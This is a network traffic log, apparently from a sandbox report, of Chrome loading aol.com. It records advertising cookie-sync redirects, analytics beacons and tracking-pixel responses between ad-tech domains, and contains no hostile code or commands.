2024-05-23 22:35:18 UTC	781	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:18 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptrc=CAESEOEc1rz1IR8Gw4xvRTDNP88; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:18 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.6	50647	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1067	OUT	GET /ups/58699/cms?partner_id=SEMAS&orig=ono&sInitiator=external HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila"
2024-05-23 22:35:19 UTC	856	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:18 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:18 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://uipglob.semasio.net/oath/1/info?sType=sync&_sdv&sExtCookieId=y-V.uZugpE2oNwTIZJdlmAb8uo6mqraP2Jaf4-~A&sInitiator=external Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.6	50649	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1851	OUT	POST /p?s=1197803361&t=D3AlSxo5715coTTR,0.7042776038446219&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503705%04A_prems%03960%04_E%03dwell%04_ts%031716503705%04_ms%03964%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:19 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:18 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.6	50650	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1839	OUT	POST /p?s=1197803361&t=Kx1vBj7fKNNVZbJu,0.9688421802278917&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03window.focus%04A_prets%031716503705%04A_prems%03964%04_E%03dwell%04_ts%031716503711%04_ms%03499%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:19 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:18 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.6	50654	104.18.25.173	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	970	OUT	GET /z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} HTTP/1.1 Host: s.tribalfusion.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ANON_ID=aCntuJO5nP87PRo7TGr72VnvjGZdc6L7uhgEZdUZdqVyKwUyiRGFZbVUXasqfNKXXInemN6IVZcA4LDUGFpVdmjxggiPC
2024-05-23 22:35:19 UTC	809	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:19 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 43 Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 302 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=a4nt6ZaSZdIijSTnMSXxNpa8SxF0CG3kbwxIEYQEwWv61TFk1FuLQFEDWShLoE5DZbJZa7hSbcOxylUTF7PaQlFTFUS3jwNg; path=/; domain=.tribalfusion.com; expires=Wed, 21-Aug-2024 22:35:18 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=a4nt6ZaSZdIijSTnMSXxNpa8SxF0CG3kbwxIEYQEwWv61TFk1FuLQFEDWShLoE5DZbJZa7hSbcOxylUTF7PaQlFTFUS3jwNg; path=/; domain=.tribalfusion.com; expires=Wed, 21-Aug-2024 22:35:18 GMT; CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888884b32da29dff-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 22:35:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 02 02 44 01 00 3b Data Ascii: GIF89a!,@D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.6	50628	54.77.98.227	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	487	OUT	GET /qmap?c=240&tp=PUBM&tpid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent=&ct=y HTTP/1.1 Host: sync.crwdcntrl.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_dc=1; _cc_id=31844579825d5abe94875f194e1afa4a
2024-05-23 22:35:19 UTC	314	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 49 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.45.1.172 Access-Control-Allow-Origin: * Server: Jetty(9.4.38.v20210224)
2024-05-23 22:35:19 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 ff 00 ff ff ff 00 00 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 02 00 2c 00 00 00 00 01 00 01 00 00 02 02 54 01 00 3b Data Ascii: GIF89a!,T;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.6	50653	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1836	OUT	POST /p?s=1197805788&t=mni6DtOGPsBwePi6,0.7435318362300505&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03327%04_E%03dwell%04_ts%031716503712%04_ms%03332%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:19 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:19 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:19 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.6	50657	64.227.64.62	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	740	OUT	GET /pubmaticmatch?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsby.bidtheatre.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:19 UTC	517	IN	HTTP/1.1 302 302 Date: Thu, 23 May 2024 22:35:19 GMT Server: Apache P3P: policyref="/w3c/p3p.xml", CP="DSP NON LAW OUR CUR DEVo PSAo PSDo IND STA NAV COM INT" Set-Cookie: __kuid=40e3a1ba-abe7-4536-b88d-03ef8c64a2f3.485717719; Max-Age=604800; Domain=.adsby.bidtheatre.com; SameSite=None; Secure Location: https://simage2.pubmatic.com/AdServer/Pug?gdpr_consent=&gdpr=0&piggybackCookie=uid:40e3a1ba-abe7-4536-b88d-03ef8c64a2f3&vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.6	50651	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	802	OUT	GET /usersync2/pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%7D
2024-05-23 22:35:19 UTC	682	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:19 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%2C%22zdxidn%22%3A%221508%22%2C%22nxtrdr%22%3Afalse%7D; path=/; expires=Fri, 23 May 2025 22:35:19 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=adconductor&ttd_tpi=1&rndcb=211202606 etag: RX7c64f7b47a9045eb91aeaf76e523d963003 connection: close
2024-05-23 22:35:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.6	50655	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	2749	OUT	GET /p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=3&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503717134&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=1&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=1&ns_st_dapc=1&ns_st_dspc=1&ns_st_psq=1&ns_st_asq=1&ns_st_sq=1&ns_st_po=0&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=10001&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68000&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=0&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=0&ns_st_iu [TRUNCATED] Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=100458df32184cbdda853d11716503699; PID=172458df32337cbdda8521e1716503699; XID=100458df32184cbdda853d11716503699
2024-05-23 22:35:19 UTC	781	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 23 May 2024 22:35:19 GMT set-cookie: UID=100458df32184cbdda853d11716503699; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=172458df32337cbdda8521e1716503699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=7776000 set-cookie: XID=100458df32184cbdda853d11716503699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 0d3372129d548b57c62777e24b79e514.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P5 X-Amz-Cf-Id: d07cu2JZ4OD6MGQ0uGHRv7xn8lPvUZi5FM9-OOU3R0VrDtNcQkuGwQ==
2024-05-23 22:35:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.6	50659	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	1837	OUT	POST /p?s=1197805788&t=m1UAD20zHCMFrOdL,0.7695057682418722&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03332%04_E%03dwell%04_ts%031716503712%04_ms%03400%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google 